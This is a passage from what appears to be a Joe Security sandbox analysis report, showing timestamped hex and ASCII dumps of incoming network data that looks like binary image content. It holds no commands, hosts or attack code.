2022-06-08 07:56:17 UTC 5640 IN Data Raw: ea dd fc e6 05 e8 74 83 62 c6 c7 c6 8f c7 37 87 19 78 b8 d4 86 17 32 2c 76 d5 c3 46 ac 84 25 ec ad 6a 5b f2 
2f 4b 54 5b ae 49 97 27 43 c2 33 4d d3 68 f0 cd d7 c8 a6 c3 10 7d 4e e8 66 52 c7 36 46 0a 4b 3d 18 84 8c 86 73 53 53 
17 6e f1 ef 6e 9d 7a 35 77 e9 33 8f c1 c6 d5 7b 71 92 bf e4 de 53 95 e3 db c6 27 8d 6e 13 24 78 98 d2 52 59 36 c2 e8 10 
fb 95 c0 5e 71 aa 90 d3 44 81 6f b4 d0 fa 8e 8d 7a 53 af 65 c9 1b ed 69 c1 b5 e7 f8 dc 5e 53 8b 29 d8 f7 21 36 1f 6a 20 f2 
21 2c cc 15 49 52 92 03 48 ae 37 48 f5 76 e9 a5 dd 3a e0 6f a3 3a 57 bb 93 8f 88 6e 3b 76 2e d2 d1 ec 78 f2 3c 98 54 c6 
c6 dc 5e 5e fc 6e ee 40 e9 40 dd c9 3b 52 31 01 5d 6c a2 dd 72 f4 e9 ad 7c 67 91 55 73 f8 29 d8 f8 38 db 9e e0 f9 5e 67 
9a 72 b3 f6 e5 12 21 92 4a 27 75 fa 97 80 32 29 55 5b 5a 
Data Ascii: tb7x2,vF%j[/KT[I'C3Mh}NfR6FK=sSSnnz5w3{qS'n$xRY6^qDozSei^S)!6j !,IRH7Hv:o:Wn;v.x<T^^n@@;
R1]lr|gUs)8^gr!J'u2)U[Z

2022-06-08 07:56:17 UTC 5656 IN Data Raw: 10 36 f6 de 87 82 f1 a5 28 1d 7f de fe 3a 8d b9 2b 5e 0e c9 93 36 5a 4a 31 30 d5 1e 55 51 6f 12 54 a1 f7 12 79 
9f e2 3f b7 42 c7 21 33 c1 2b e3 1b 76 46 e2 ed 3e 68 56 8e 3a d1 00 a8 66 71 c0 71 23 b7 5a 2f 57 1e 7a cb 26 f8 1a ae 
08 47 c5 c8 c5 dc 32 0a c2 ee a8 b7 2a 12 c1 56 35 e6 dd 1e e0 0f b8 37 fb dc 75 54 e1 64 93 cb 3d ee 5e 43 b7 6d f4 c1 
84 2c 8a 1d 99 6e e0 a4 13 45 76 7f 52 4f a7 f6 e9 a1 5b 91 5d a3 83 af f4 69 57 0e 18 b1 e5 59 1d 9f da b4 6b 4b 9a 1a 
f0 f5 d4 7a b4 cb ce 08 dc 8d 9a 7d b1 9e 6c 91 2c 71 c6 59 3d b6 ad 47 21 72 d4 75 7a e9 9d 5b 12 60 83 c0 92 4c 29 d6 
68 e4 21 0a 80 55 6e 66 5a f1 2b 56 21 6d e7 ff 00 de e9 e8 e3 91 2d f8 24 67 ce c3 c8 58 db 2a 67 69 64 aa 32 b1 e2 84 
f0 53 ca d2 a7 d5 75 5b 24 d1 34 d9 df 37 1d b6 a2 8e 
Data Ascii: 6(:+^6ZJ10UQoTy?B!3+vF>hV:fqq#Z/Wz&G2*V57uTd=^Cm,nEvRO[]iWYkKz}l,qY=G!ruz[`L)h!UnfZ+V!m-
$gX*gid2Su[$47

2022-06-08 07:56:17 UTC 5664 IN Data Raw: 11 84 87 a1 09 e4 58 11 cf aa 9d 5f 1a 69 9d bb 0c 94 16 1c 4d ef c9 bc 51 d3 bb bc 4d d8 8b 18 98 17 b9 72 
aa 29 b4 c5 db 35 4e 91 fe 65 17 da 7d 35 cb 7a a6 56 b8 21 76 af 3f dc 97 3e 2f a5 9a 47 44 92 39 ab 25 5d 3b 88 e1 ea 
a8 08 a2 f3 ad 7f 9b f5 69 fa 48 ae c5 8a 5c 34 df a5 fa a9 a7 6f a9 9a 9d a3 09 37 1b 89 5b 09 27 f7 03 2d 15 7f 1b 7d 74 
ae a9 14 4e 4a e6 7f 90 e5 f8 d3 49 b2 6e b0 98 26 35 60 1a 33 46 04 d4 76 ca d2 96 7f ec 6d 32 6a eb 91 1c d5 97 7f 11 
93 1b 7d c4 89 b0 77 bc 1e e1 55 ee ac ea eb 2d c5 5a e0 aa c5 03 aa 7b 6e af 51 6d 72 b9 5e 0b 2b 49 52 f2 e9 21 8f 72 
8a 48 44 79 40 ad ce e1 40 28 4f ca 40 0f 4e 40 d6 f7 fd 35 ae 8a 5d ae 51 ae a9 a2 17 0b 7e 9b 6a 98 ac 4a 93 d5 88 67 
85 96 43 c0 dc 39 7e 7c 35 da af 28 e6 88 64 06 f5 91 
Data Ascii: X_iMQMr)5Ne}5zV!v?>/GD9%];iH\4o7['-}tNJIn&5`3Fvm2j}wU-Z{nQmr^+IR!rHDy@@(O@N@5]Q~jJgC9~|5(d

2022-06-08 07:56:17 UTC 5680 IN Data Raw: de 36 bc a8 e0 c1 c3 72 98 c8 44 92 76 42 85 64 61 43 45 8d 40 0d 72 23 70 02 e5 e9 d1 f1 26 e6 06 56 8c 14 
5d 9b 38 f8 f6 5b 3c 52 37 6e 66 59 23 69 40 e9 28 d7 23 5b c4 9f c5 4f e5 e9 a7 7a 6b 75 92 6b 63 ab 2e c3 7e d8 72 fc 
85 b7 3d c7 0e 07 6e d2 96 8d cb 5b 39 22 8c 23 ad dd 91 5e 34 0d 75 7d 87 5c 9f 07 55 08 e8 f9 3b 39 65 9a 5f ba 1b 5e 
56 e1 2c 39 58 6b 0a a2 c3 10 50 ee 71 a2 8c 04 aa c7 8f 40 55 9d 95 6e 61 27 b3 80 08 6e 75 8d be b3 6b 03 2d d0 f2 
47 e7 6c 19 59 fb a4 d8 5e 3e 5b 21 91 55 d9 a7 11 ae 3f 59 bc a2 3a b3 b5 8d 4b 16 d9 99 b9 f0 04 e8 5a fd 4d f9 08 dd 
97 67 48 73 73 93 ca b3 d3 0f 19 1d 5e 98 50 89 62 b0 f5 d1 4d 55 c7 3b 78 c6 dc ff 00 73 5d 35 a5 d5 66 b1 ff 00 f5 12 
b5 ea de 7f b1 e3 c8 e1 da f6 2d ce 7c 7d b3 32 47 db 1a 34 
Data Ascii: 6rDvBdaCE@r#p&V]8[<R7nfY#i@(#[Ozkukc.~r=n[9"#^4u}\U;9e_^V,9XkPq@Una'nuk-GlY^>[!U?Y:KZMgH
ss^PbMU;xs]5f-|}2G4

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 5696 IN Data Raw: 64 e3 05 b1 f6 e9 58 45 dd 2e c4 8e 00 56 ac 05 4f 49 3f 33 6b ad 27 10 8e 5b 59 76 96 4d 7f 57 ff 00 a9 32 06 
d3 b6 34 76 44 54 e4 c8 5b a9 14 71 e0 a3 8f 55 28 2b aa 55 fc 8f aa fd d9 3b 2f 8d 76 7c f8 47 5d ce 28 77 c9 23 c6 82 
e8 f0 93 8b 9f 6d c1 39 22 fc 03 1f 71 e7 ae bb b5 6c 1c b4 9a 65 f2 73 ca 58 26 c4 93 6c b4 17 75 3e ea 54 23 70 ff 00 d2 
ba 4c 44 0d 2e 64 c9 bc 97 cd b2 bc 3b 7c 83 66 9a 12 bb 44 61 42 da 45 e5 29 42 29 f0 1f 03 ae 07 7e ae 0f 46 b4 ee a7 
c9 18 bb 9f 8e 6d 59 91 ef b8 f1 7d 56 e5 95 28 6c 70 ac 4a 2d 78 5b c3 db 25 7f 8d 74 8e ca ae 79 63 f5 76 c7 08 d9 7c 
7b 74 f2 39 61 1b 97 90 47 16 38 98 ac 38 f8 b1 12 cc b5 3f 39 e1 c7 f0 1a ef a5 ec f2 ff 00 64 79 d7 a5 17 b6 bf bd 8b 86 
e1 9e 0c 83 0e 24 bd e9 42 41 e0 0f e3 ae db db 
Data Ascii: dXE.VOI?3k'[YvMW24vDT[qU(+U;/v|G](w#m9"qlesX&lu>T#pLD.d;|fDaBE)B)~FmY}V(lpJ-x[%tycv|{t9aG88?
9dy$BA

2022-06-08 07:56:17 UTC 5704 IN Data Raw: 34 97 6a ce 3d 06 aa ea a7 d4 95 f2 ad af 70 62 99 18 2e ab 1c 7d 53 46 41 66 95 69 fe 5a fc ab c7 d5 b4 d7 
42 6b b2 f2 38 c4 cc c1 c7 c7 8a 3d c4 f6 72 27 8c c8 23 76 01 98 fa 84 15 ea b4 7e 9d 65 52 8c 85 a5 bc 11 59 2a cd 90 
bb 60 c3 fa 98 e7 fd d9 0b 80 56 20 3d 80 d4 52 ba 45 8c 0f ce 66 0f 78 5e 1d 2e 47 93 61 6f f3 31 73 8d 8e ea ca 7d 97 
b7 00 54 72 52 a3 57 a5 65 91 bd e1 41 3f 27 86 c7 8f ba 9d cb 1c b3 bb 91 21 8e 46 6e dd e3 d5 57 92 ff 00 66 aa f5 43 
c6 49 2d d2 a1 9c 7c bb 72 c8 c9 c4 9b 13 6f 0b 36 7d 15 5a 00 03 29 27 e5 6f 50 0f c6 ba 96 eb b7 85 fd 0a e8 a2 59 7c 
7a 96 08 f1 e5 7d be 2c 79 22 08 eb 08 bd 14 d4 06 a7 b6 bc 2a 3f 1d 74 c7 b6 0e 69 f7 4f e4 85 db a0 dc 70 31 ba ed 95 
ae e4 dd 0d 42 78 2a d0 5a 46 b8 6a ac 8e cb 3a b6 48 49 
Data Ascii: 4j=pb.}SFAfiZBk8=r'#v~eRY*`V =REfx^.Gao1s}TrRWeA?'!FnWfCI-|ro6}Z)'oPY|z},y"*?tiOp1Bx*ZFj:HI

2022-06-08 07:56:17 UTC 5720 IN Data Raw: 6f 5e b5 3b cf 93 21 cc 13 4d 54 0a c6 15 a7 32 0f c3 ff 00 3d 55 bc 93 4b 10 56 f7 5c fc dc 2c f8 92 25 bc 4f 2a 
a2 a2 8e 25 54 1b cb 1f ec fd 3a e5 b5 9a 67 4d 6a 9a 23 7c 8f c4 71 23 4f ea 9b 87 ee e7 a9 2b 11 95 aa 91 86 e1 70 51 
eb c7 ff 00 5d 65 a9 89 63 53 64 b8 5c 19 be d5 e4 5b 77 88 6e d3 78 aa d6 48 1b b9 30 9c 3d c4 ce 47 b4 05 14 40 de 
95 d4 2d 83 a1 67 93 6d fb 77 1a e1 61 9c 9c d8 fb 59 f3 00 5a a3 90 f9 55 47 a0 03 ff 00 76 bb 3e b4 2c be 4e 1f b3 36 
70 b8 2e b3 ca 91 31 99 c8 f6 d4 93 f0 1a ee 6f 32 70 25 e0 ce 77 7d f0 c9 bc 63 3a 62 bc a5 c3 a4 6c c0 d9 19 a5 7b 8d 
e8 01 e5 5e 7f 0d 70 5f 64 b3 d1 a6 b8 af 27 bc 6c 8c cf 0b c3 8b 15 15 65 12 4e ef 25 ac 42 46 b2 1b aa b5 04 d1 7e 1c 
17 43 b3 a2 0e ab 63 23 7c b3 73 c1 f2 2c 26 6c 62 32 
Data Ascii: o^;!MT2=UKV\,%O*%T:gMj#|q#O+pQ]ecSd\[wnxH0=G@-gmwaYZUGv>,N6p.1o2p%w}c:bl{^p_d'leN%BF~Cc#
|s,&lb2

2022-06-08 07:56:17 UTC 5736 IN Data Raw: 7f f6 d7 5c 9b 39 93 b3 5e 57 53 33 fb 85 e4 33 bf 81 c3 bc 9c 89 61 cb 92 65 74 66 8c 55 ac ea 47 65 e3 db 
e1 68 0d cb f3 d7 24 b6 75 24 91 f3 97 96 79 06 2e 7e 79 93 18 4a 26 09 74 ad 29 be 4e e1 1c 49 f8 5c 79 0f 94 68 5a db 
cb e0 d7 74 b8 3b fd 9a fb 7f 3f 9f ef d0 63 67 c6 62 c2 69 04 99 33 2b 02 e2 2f 94 28 3f a8 8a 1e 1c b8 eb bf 64 27 09 e0 
e3 96 d4 9f a0 10 8c 3c 76 62 a8 f6 30 50 80 8a 80 91 ad aa 4d 7d a3 52 b3 48 54 9b 32 8f b8 9f 71 bc 7f 03 71 8b 1f 23 
3f 23 03 21 05 0b 44 2f e2 4f 48 e4 d6 dc 7d 6d b6 dd 73 7f 37 83 ad 2e ab 24 cf 9a ee 8b e3 7b 13 cb 8c ab 93 99 24 25 
9e a4 00 e6 94 67 62 28 29 f9 5b a4 70 86 aa 6d fe 84 7f da 4d e3 0c 78 fe dc ae 8e af 3b 34 cb 1b 0a 5a 4b 50 85 af 34 
1e 9f cb a2 61 98 d3 b2 92 43 cb bc c7 0f 6d de 13 11 
Data Ascii: \9^WS33aetfUGeh$u$y.~yJ&t)NI\yhZt;?cgbi3+/(?d'<vb0PM}RHT2qq#?#!D/OH}ms7.${$%gb()[pmMx;4Z
KP4aCm

2022-06-08 07:56:17 UTC 5744 IN Data Raw: af 4e 20 f2 e6 4f 01 1f 6d dc 64 ca 59 12 d9 82 a3 dd c5 98 ad 42 0e 14 02 95 3f e8 d2 5b 67 46 3a a7 74 65 fb 
d2 3e fd e4 51 ee 3b 5e 4a ae 36 00 91 32 61 50 49 94 b0 a2 ab 8f 68 55 3d 6b 5e af 87 0d 78 db 3d ed b4 7b 34 f6 56 19 
85 fd c1 f3 2d d7 6a cd 6c cc 79 02 ee d8 39 01 40 88 0b 52 26 01 95 64 66 e2 e4 db 4b 47 2f 86 b9 1d e0 ed 55 4d 17 8f 
12 ca c6 fb 9f e3 18 99 33 a3 9c 38 1b e9 32 31 dc 8a 33 7b bb 85 a8 a4 a5 09 e1 d5 a6 69 b4 4d 38 6f f2 53 be ec 79 d6 
07 84 b4 9b 79 45 9f 73 06 39 50 2a 05 8d 55 4a 95 57 04 9b 81 0b 4a f3 1a 95 69 98 2f db 12 64 b8 be 20 de 73 e4 c9 9f 
86 7f e4 37 09 83 cb 31 a4 60 2f 39 55 6a c4 9a 51 91 5b d4 e9 9d e3 0f c7 83 3a ce 51 bd 78 fe 5e cb f6 b3 13 2b e8 31 
7b 38 b1 4b 53 22 2b cd 2b b3 9a 47 00 ba b5 b5 3a 9d 
Data Ascii: N OmdYB?[gF:te>Q;^J62aPIhU=k^x={4V-jly9@R&dfKG/UM38213{iM8oSyyEs9P*UJWJi/d s71`/9UjQ[:Qx
^+1{8KS"++G:

2022-06-08 07:56:17 UTC 5760 IN Data Raw: 2d 2d ee b8 36 94 7e 4a f6 cb 27 8a 78 ae f1 26 36 05 9f d7 b3 dc a0 7e 17 02 c6 a5 56 d1 c8 7a eb 9d 42 e3 
92 ed 3b 73 c1 6c f2 ed ac ef 2f 1e 02 71 77 74 b4 dc 41 a8 37 52 80 d7 8d ba dd 95 76 70 85 d5 65 55 2c ed e5 d9 19 92 
18 76 63 18 92 37 50 54 8a 10 8c 9c d9 81 a5 52 9c f5 d3 b1 bc 54 e7 d6 97 f2 19 9d e3 0f fa 87 f4 f4 96 24 6c 70 0f 6e f0 
65 e0 38 74 1a 1b 3f 1d 2b 35 22 8b f7 7e 59 f6 4d 8a 3d d3 6f 2a ad 8b 21 76 47 1c 1a e1 d5 73 b0 24 b3 dd d0 17 d7 52 
85 c3 3a 2a d9 9a 79 ee f3 0e 6e db b4 c2 93 cb 36 19 42 ec c2 97 b3 93 5a f1 fe 7f 4d 70 5a d0 76 55 1a 47 80 7d 9a db 
b7 08 e2 cf f2 28 da 6c ec 82 b3 76 a8 55 15 79 82 ca 29 c4 fc d5 d5 75 69 ec e5 90 dd bb af 06 ff 00 0c 10 40 06 2c 20 
47 0c 60 22 aa 80 a3 97 a7 e0 35 ef 2a a3 c3 6d f2 43 
Data Ascii: --6~J'x&6~VzB;sl/qwtA7RvpeU,vc7PTRT$lpne8t?+5"~YM=o*!vGs$R:*yn6BZMpZvUG}(lvUy)ui@, G`"5*mC

2022-06-08 07:56:17 UTC 5776 IN Data Raw: 62 78 c1 60 1b 7c d8 69 de c3 0f c4 da ea 9c 14 01 cb 86 a9 5d 6d 70 4e db 13 e4 a3 7d cc da b3 b6 f7 c5 61 
dd ca db e7 c9 8e 5c 94 17 30 08 84 33 29 03 a6 c2 07 52 bf 4e 92 fa dd 3d cf 25 75 ec 57 c7 05 b1 4e 16 46 2b ee f8 2a 
a2 39 94 22 32 0a 51 07 25 a5 3a 69 a4 b5 b1 d9 1b 54 e7 ab f0 38 f1 dd a7 1f 1f 1c e6 a2 de f2 70 16 8a b3 01 fc de ba 
5d 75 95 26 ec b6 60 77 8d 85 3c db 94 6f 9a 9d bc 64 ab a2 b1 a1 af a5 40 f8 7e 3a ad 69 9f 71 3b 5e 17 b7 92 c0 ab 26 
44 a1 d2 b4 26 8c be 94 f8 9d 77 57 2c e1 b6 10 e1 30 5a 30 b2 e4 5a 4a 12 6c 41 d2 6b c8 f1 f5 d7 54 41 cb 32 50 77 3d 
af c9 33 f7 0c 88 f0 22 8a 00 c4 3a 64 d5 89 03 e1 67 c7 5c 36 ee de 11 e8 57 a5 52 97 fb 1d 3c 9b 77 ce 9b 6b 58 16 3a 
ee ae 16 26 54 a8 a9 ad 2f 27 e5 5f 9b 50 dd b1 b5 1e 4b 
Data Ascii: bx`|i]mpN}a\03)RN=%uWNF+*9"2Q%:iT8p]u&`w<od@~:iq;^&D&wW,0Z0ZJlAkTA2Pw=3":dg\6WR<wkX:&T/'
_PK

2022-06-08 07:56:17 UTC 5784 IN Data Raw: a5 54 89 0d ce 65 c5 c8 7c 75 90 87 98 dc 48 3c 7f 1e 27 86 b2 ee 18 51 4a 3e 58 f3 85 dd 7c f3 ee 5c 18 5e 
3f 91 3e 36 d7 b7 48 3b f9 31 31 5a 3f 3b 55 bd 58 f2 3a 65 65 ae 8d ff 00 ba df c4 af 57 76 97 85 c9 f5 7e d9 87 36 d9 8e 
8b 3e 4b 4d 21 1c 49 1c 49 f8 6b 2b 29 65 91 b4 37 84 67 b8 9e 33 e4 7b 3f 91 67 79 3e 76 52 3e db 32 81 f4 a2 ad 22 db 
fa 5b 82 f1 f8 53 52 b7 1c 17 4d 70 8e 89 b9 e3 e5 f9 64 39 5f 54 83 6d ed 19 68 08 ba e0 29 6b fc 06 93 12 34 35 58 3b 
ee 5e 40 fb be 6c 3f d3 a2 31 6d 8b 59 24 c8 0b 45 0b f1 1f 0a eb 6d 74 f0 85 ad 23 92 7f 03 70 9b 26 22 c4 d7 1d 0d 2e 
e6 59 69 c1 b4 2b 33 1d 52 23 70 5a 0d eb 2a 59 e4 a7 d3 50 ad 41 e0 df 80 d4 79 65 bf 8a 82 df 87 87 8f b4 62 33 3c 82 
28 f8 58 00 00 80 3f 01 cf 5d 75 af 55 2c e5 b5 bb 38 
Data Ascii: Te|uH<'QJ>X|\^?>6H;11Z?;UX:eeWv~6>KM!IIk+)e7g3{?gy>vR>2"[SRMpd9_Tmh)k45X;^@l?1mY$Emt#p&"
.Yi+3R#pZ*YPAyeb3<(X?]uU,8

2022-06-08 07:56:17 UTC 5800 IN Data Raw: 99 5f 21 59 8f 57 79 96 39 16 e3 d0 e0 94 61 1d 57 ab 5d 2a 8e c8 93 b2 4c 90 df 3c ab 61 fe bb 26 e3 83 09 
cb c8 2b 71 13 c8 eb 05 5c 05 74 8a 14 b4 51 7d b7 7f 2a 50 74 ea 3f 0b e1 8e ae 88 2f 31 fb 81 b7 f9 2e 26 3e 61 db d3 
03 2e 25 ed 5a a3 a4 38 01 41 8d 3e 45 31 a8 a5 1a 9e ef 57 d5 e9 aa 19 27 7c 14 51 8f b7 3e 6f d4 e2 bb ac cc 42 92 aa 
42 ba b7 35 e1 c4 13 f1 f9 75 d9 55 07 3b 87 92 c9 e5 de 44 db cc 78 9b 4e e0 40 ec 45 1e 1d 12 3e d8 11 20 e8 50 07 0f 
53 d4 7a 9b 4c b5 d7 93 1d 9f 04 4e c5 b8 e0 60 ae 46 d9 0b d8 a0 16 59 dd 41 20 a8 e1 1a a1 21 cb 5e 7d dc 00 51 71 
e5 ac d8 d2 46 d1 b1 22 9f 3f 6d 66 db 25 20 c1 27 f9 ea 0a bd 17 88 24 1e a0 78 f1 b9 78 6b 2a fb 70 6b c7 24 c7 88 79 
5e 67 86 1c bd b7 69 c8 8e 18 f2 16 9f 55 db 49 32 28 fc a1 
Data Ascii: _!YWy9aW]*L<a&+q\tQ}*Pt?/1.&>a.%Z8A>E1W'|Q>oBB5uU;DxN@E> PSzLN`FYA !^}QqF"?mf% '$xxk*pk$
y^giUI2(

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 126 of 211



2022-06-08 07:56:17 UTC 5816 IN Data Raw: 5a e0 6b 57 ee 31 16 50 80 a1 68 4b 36 9d d9 ae 09 f5 4f 92 6d 3c bb 70 db e1 5c 0c b7 0e f0 23 0b 58 b2 5a 
1b d3 b9 19 0c 79 dc dc ff 00 8e b5 2e d9 41 30 5b 36 a8 f6 8f 3d c9 c5 c2 c4 78 36 ae dc 2a 24 ef 63 49 3f 74 a8 17 91 
20 2e 6e ba e3 d4 55 78 8f 86 b9 ed 4b 53 2f 25 15 d5 b0 68 09 f6 4b 6e ca 8f 23 7d d8 72 bb 2a 3a 20 58 12 d8 97 d5 8b 
97 ea e0 82 e9 2a a9 d4 e2 9c 35 c7 f3 da b8 67 42 d6 9f 07 cf f9 5b 76 1a bc f1 44 ed 14 c2 f4 8c c8 d4 34 1e ad 4e 04 
d3 e1 af 57 5b 93 8e c9 22 09 f3 72 e2 88 63 e4 3d 63 57 0f e9 d4 00 e0 2b ee e7 ab 41 16 c9 0c cc b9 32 e7 49 7a 0c 6e 
a0 90 38 10 c0 70 ad dc e8 7a 7e 3a b5 28 ea 89 5e f2 c6 9b 46 e9 89 1e 74 72 23 3a 9b 99 5d 55 85 c4 1f 68 a3 06 e9 
ad 2e e9 3c 35 b6 e3 02 d5 e4 b8 4f e2 7b 4e e2 bd ed a5 65 
Data Ascii: ZkW1PhK6Om<p\#XZy.A0[6=x6*$cI?t .nUxKS/%hKn#}r*: X*5gB[vD4NW["rc=cW+A2Izn8pz~:(^Ftr#:]Uh.
<5O{Ne

2022-06-08 07:56:17 UTC 5822 IN Data Raw: 95 0a af 0f 6b 13 fc cd a1 52 0d 76 93 b6 f7 8b b9 41 86 b0 e3 6d 52 34 12 c7 58 5e 54 b2 41 68 01 9d 98 f5 
30 ea 1d 54 0b c7 48 b6 eb 78 95 26 ba 5d 78 29 bb 37 88 79 56 fb 9a 9b 68 33 24 b2 d6 35 44 e0 6a dc 01 37 5b d1 4f 
52 79 7a ea bd 5a 53 e0 e7 ef 2e 09 cd af c5 b7 2f b6 3b b4 33 bc 51 4f 95 0b 06 fd c5 bc 16 23 8c 52 47 cc 70 34 fc 7f b3 
49 57 5d a9 d4 67 57 47 26 df 03 6f 9e 53 99 0f f5 7c 09 5e 28 1d db 2e 18 66 c7 6b 10 b7 4c 60 31 3d 8b 3a 43 a3 2a bf 
f3 f5 51 7c 5d b7 aa 78 67 a9 ae 8e 38 20 a3 f2 8d b7 64 c8 83 6e dd f0 31 4c 68 5d e1 38 c4 3b aa 02 d7 41 32 c6 40 9d 
83 14 bf fc b6 4b 79 91 d3 a3 e3 ec b0 c3 b4 33 2b 93 72 dc 72 67 4c a9 14 7d 4c 79 2c 89 19 0a 23 00 54 ad 15 7f cb 1c 
ff 00 1f fe cb 5d 54 a7 52 76 b4 9c 9b 67 dc 70 f2 64 cc 
Data Ascii: kRvAmR4X^TAh0THx&]x)7yVh3$5Dj7[ORyzZS./;3QO#RGp4IW]gWG&oS|^(.fkL`1=:C*Q|]xg8 dn1Lh]8;A2@
Ky3+rrgL}Ly,#T]TRvgpd

2022-06-08 07:56:17 UTC 5838 IN Data Raw: f6 39 b0 9f b1 89 38 c8 85 d5 64 98 2c 44 47 75 4a f1 a9 bb b6 07 1e e7 45 7e 5d 4a 64 aa 51 83 3d df f6 3c fd 
be 5e f0 05 31 c3 b2 b2 a7 10 40 34 04 57 90 3f 1d 5a 97 69 43 21 b2 8a 65 0d 07 93 6e bb 84 c3 2b 2b 21 f3 99 23 11 92 
e4 b3 a4 6b c2 da fa 2a 8d 45 d1 0f 5b b2 c3 e3 bb 7e c5 bc f7 24 cb c9 5c 5c b6 57 38 f1 a2 f0 2c 58 2d 25 2d 68 89 69 fe 
5d b7 f1 f7 53 52 d9 35 f0 52 99 1d 60 6c 43 04 8c f5 cf 69 71 ac 17 2a c2 ce cb 25 69 6b d5 c7 15 e7 fe 1d 51 6c 7e 0c e8
bc 9e b0 37 4d d4 ee e2 08 e2 06 79 19 22 42 ef db 4a 13 40 09 72 15 49 ad 6b ab f7 5d 64 94 34 e0 84 93 c5 3c c3 3f 71 
0f 8d 85 34 8b 91 2c 8c 8c aa 4c 47 ab a9 c4 a0 5a b1 dd ee 90 9a 69 7f c8 ac 72 67 c3 69 25 87 88 6e 3b 0a 5f bf cf 16 
22 4f 90 62 6e 96 66 a2 10 ed 20 52 12 a8 45 2c 
Data Ascii: 98d,DGuJE~]JdQ=<^1@4W?ZiC!en++!#k*E[~$\\W8,X-%-hi]SR5R`lCiq*%ikQl~7My"BJ@rIk]d4<?q4,LGZi
rgi%n;_"Obnf RE,

2022-06-08 07:56:17 UTC 5854 IN Data Raw: b2 ca 1f 79 17 89 ec db 46 1c d8 9f 52 76 fd e2 28 44 ae 8b 23 1f df 24 56 08 a3 74 5b ff 00 69 d4 bb 54 22 72 
4b db 50 ae db 49 5b 51 40 f3 63 f2 1d ab 61 dc f0 b2 f0 e0 69 72 a1 8c 77 e6 92 25 80 99 68 0f 42 a3 58 56 3f 6d d4 b2 
da b1 8e e3 aa 76 6f 9f d8 5e 89 1a 67 8d f9 97 82 79 41 cd c1 7c 88 b0 f2 72 00 8f 2d a5 35 69 c2 38 6a 45 3d 1a 8d 25 
aa af 73 0f 6a f6 97 4c f5 de 25 12 ed 59 82 43 ca fe ca 60 e7 4e 18 19 a3 c4 92 42 5f e8 82 f6 da ea 76 a2 8a eb 88 b1 17
f7 24 94 d5 c9 e5 c7 5c df 35 97 19 2c a8 99 8d f9 47 84 ed fe 1b 38 39 99 2a 32 03 28 fa 3a 86 9c 44 49 b9 c8 8c 59 15 
68 78 77 0b 74 fe 3a a6 bd fd b9 46 db 54 70 55 fc f7 2b 6d ce 8b 07 6f c0 9f bb 14 68 66 57 53 51 fb 84 28 8c 1f 78 2a a0 
d5 5b f5 72 d7 65 6e fc 90 b5 51 ea 6f 13 d9 e4 
Data Ascii: yFRv(D#$Vt[iT"rKPI[Q@cairw%hBXV?mvo^gyA|r-5i8jE=%sjL%YC`NB_v$\5,G89*2(:DIYhxwt:FTpU+mohf
WSQ(x*[renQo

2022-06-08 07:56:17 UTC 5859 IN Data Raw: 00 7e a5 6d 4d 2e 4e 8a 6c 4d f0 7c ed ba f9 86 e7 82 99 98 6b 9b 3e 4e d6 55 48 9e 64 0a f8 f2 a9 b9 4a b5 
05 c2 bf 1a ea 75 70 74 35 2c fa 0b 1b 74 dc f3 fc 67 6b 8f 74 8d 24 c9 71 14 9f b7 ed 0a 38 89 40 25 09 05 7d cb cd 7d 
06 ba 6c db 50 71 55 25 66 d1 6e ce d8 f1 f7 93 8b 9e 1e d9 30 c9 64 91 68 09 53 cd 7e 36 1d 17 5d 97 e8 25 2d d5 bf c9 
80 7d fd f2 ed a3 c8 31 ff 00 a3 6c 32 2e 56 7c fc 25 8e 33 73 55 78 28 fc 38 eb ca fb 0d 72 8f 5b eb a6 93 4f f6 38 7f da 9f 
8f 66 ec 51 6e a9 bd 60 9c 7c f0 56 c9 18 82 e5 08 f6 5a 0f 00 0f 1f c6 ba 7a 3a f6 95 e8 4f 6c c4 32 fb 99 8e b2 c5 36 7e 
6b 19 46 34 ae f1 a5 b4 26 d1 ed 50 7d da e7 bf b8 bd 7d bc 15 cd b3 c0 36 8c bd c5 7c aa 75 68 b2 b2 01 08 af 55 1c 7d 
00 ae a1 12 a1 96 76 87 83 52 c4 d9 71 76 6d bd 
Data Ascii: ~mM.NlM|k>NUHdJupt5,tgkt$q8@%}}lPqU%fn0dhS~6]%-}1l2.V|%3sUx(8r[O8fQn`|VZz:Ol26~kF4&P}}6|
uhU}vRqvm

2022-06-08 07:56:17 UTC 5875 IN Data Raw: 68 e6 c5 35 89 11 82 2b 86 e7 71 f9 81 f8 6a 49 bf ea 5d a2 5b c7 1e 2f b9 78 f3 e3 ce a2 59 49 41 2c 2a 0f 4a 
9e 01 bf 15 fc b5 cc ea e6 11 7e c9 2c 9b 1f 81 7d b4 c2 f0 48 1b 1f 1a 49 5b ba 4b 95 2c 4a 2f f8 54 fb 75 e8 6b d7 d7 93 
cd d9 b7 b7 05 63 c8 77 46 c6 c9 cb 1b a3 14 c6 8e 40 b1 b3 2d 78 11 c8 0e 5c 0f cd ae 2d 92 d9 dd ae 12 47 ce 5b 4b 
6e 3e 5b bc e5 61 43 95 92 30 71 b2 0c af 3c 73 84 a2 3f 00 bd 20 95 3c 09 d5 ec d5 14 89 fc 9c 1f 40 6e 9e 27 b3 67 f8 
66 2e cd 26 4b 1e c9 0f 14 ac c0 b3 b0 35 ab 31 f7 57 d4 eb 7b 28 26 aa e4 a9 e3 0c 14 3f d1 3c 6d 50 ee 6d c6 6a 8a 20 
f8 96 6d 72 ba 1d 4a d0 69 1b 4f 8f 46 63 5e f4 9d 71 50 8a 70 00 fe 7e ba 29 51 6d 72 07 c8 3c 7a 5c 6d fa 29 0c a5 f0 
a6 8c 89 63 26 e5 62 3d b4 5a 7b ab fd ba a5 d4 21 6b 
Data Ascii: h5+qjI][/xYIA,*J~,}HI[K,J/TukcwF@-x\-G[Kn>[aC0q<s? <@n'gf.&K51W{(&?<mPmj mrJiOFc^qPp~)Qm
r<z\m)c&b=Z{!k

2022-06-08 07:56:17 UTC 5891 IN Data Raw: 06 e9 34 e5 cf 96 ad 7d 55 e5 11 a6 db 70 55 37 4f 31 c2 c0 df f0 f1 b2 92 98 b4 5a 48 41 e1 77 05 20 8f c7 9e 
a1 84 ce 85 56 d1 db ce 76 9d 93 23 75 c5 dd 33 a7 b8 62 30 73 08 20 06 af b5 8f f8 74 f7 48 5d 6d c4 07 98 6e 39 9b a4 
